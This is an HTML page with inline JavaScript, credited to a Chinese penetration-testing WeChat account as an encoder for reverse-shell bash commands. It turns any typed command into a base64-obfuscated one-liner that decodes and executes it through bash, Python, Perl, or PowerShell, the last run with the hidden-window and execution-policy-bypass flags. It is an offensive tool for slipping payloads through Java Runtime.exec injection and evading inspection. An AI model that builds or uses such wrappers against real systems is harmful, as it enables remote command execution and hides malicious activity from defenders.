<html><head><title>java runtime exec usage...</title></head><body><p>Input type:<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label><input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label><input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label><input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p><p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea><textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p><script>var taInput = document.querySelector('textarea#input');var taOutput = document.querySelector('textarea#output');function processInput() {var option = document.querySelector('input[name="option"]:checked').value;switch (option) {case 'bash':taInput.placeholder = 'Type Bash here...'taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';break;case 'powershell':taInput.placeholder = 'Type PowerShell here...'poshInput = ''for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);break;case 'python':taInput.placeholder = 'Type Python here...'taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";break;case 'perl':taInput.placeholder = 'Type Perl here...'taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";break;default:taOutput.value = ''}if (!taInput.value) taOutput.value = '';}taInput.addEventListener('input', processInput, false);</script></body></html>
原文始发于微信公众号（SUMMER渗透学习）：反弹bash命令自动编码工具
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